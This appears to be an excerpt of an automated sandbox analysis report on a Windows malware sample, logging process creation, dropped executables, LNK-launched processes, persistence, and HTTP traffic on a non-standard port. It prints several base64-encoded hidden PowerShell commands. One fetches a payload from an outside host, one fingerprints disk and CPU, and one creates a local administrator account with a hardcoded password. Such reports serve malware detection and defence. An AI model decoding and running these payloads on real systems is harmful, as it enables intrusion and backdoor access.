Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline"			Jump to behavior

Source: svczHost.exe.15.dr	Static PE information: section name: .managed
Source: svczHost.exe.15.dr	Static PE information: section name: hydrated
Source: myRdpService.exe.24.dr	Static PE information: section name: .managed
Source: myRdpService.exe.24.dr	Static PE information: section name: hydrated

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFE7A9A00BD pushad ; iretd	3_2_00007FFE7A9A00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFE7A9900BD pushad ; iretd	5_2_00007FFE7A9900C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFE7A99472B push eax; ret	5_2_00007FFE7A99476D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFE7A997022 push eax; iretd	5_2_00007FFE7A997049
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFE7A997CA2 push eax; retf	5_2_00007FFE7A997CAD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFE7A997C93 pushad ; retf	5_2_00007FFE7A997C9D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFE7AA6435D pushad ; iretd	5_2_00007FFE7AA6435E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFE7A87D2A5 pushad ; iretd	9_2_00007FFE7A87D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFE7A9900BD pushad ; iretd	9_2_00007FFE7A9900C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFE7A991FF0 push eax; iretd	9_2_00007FFE7A991FF9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFE7A85D2A5 pushad ; iretd	15_2_00007FFE7A85D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFE7A9700BD pushad ; iretd	15_2_00007FFE7A9700C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFE7A9775D9 push ebx; iretd	15_2_00007FFE7A9775DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFE7A97819B push ebx; ret	15_2_00007FFE7A9781DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFE7A972B23 push E83A8449h; ret	28_2_00007FFE7A972B69
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFE7A979357 push esp; retf	28_2_00007FFE7A979358
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFE7A9700BD pushad ; iretd	28_2_00007FFE7A9700C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 32_2_00007FFE7A9700BD pushad ; iretd	32_2_00007FFE7A9700C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 57_2_00007FFE7A9700BD pushad ; iretd	57_2_00007FFE7A9700C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 58_2_00007FFE7A9700BD pushad ; iretd	58_2_00007FFE7A9700C1

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\svczHost.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.dll	Jump to dropped file
Source: C:\Windows\Temp\svczHost.exe	File created: C:\Windows\Temp\myRdpService.exe	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\svczHost.exe			Jump to dropped file
Source: C:\Windows\Temp\svczHost.exe	File created: C:\Windows\Temp\myRdpService.exe			Jump to dropped file

Source: C:\Windows\Temp\myRdpService.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application\myRdpService

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc query myRdpService

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49844

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
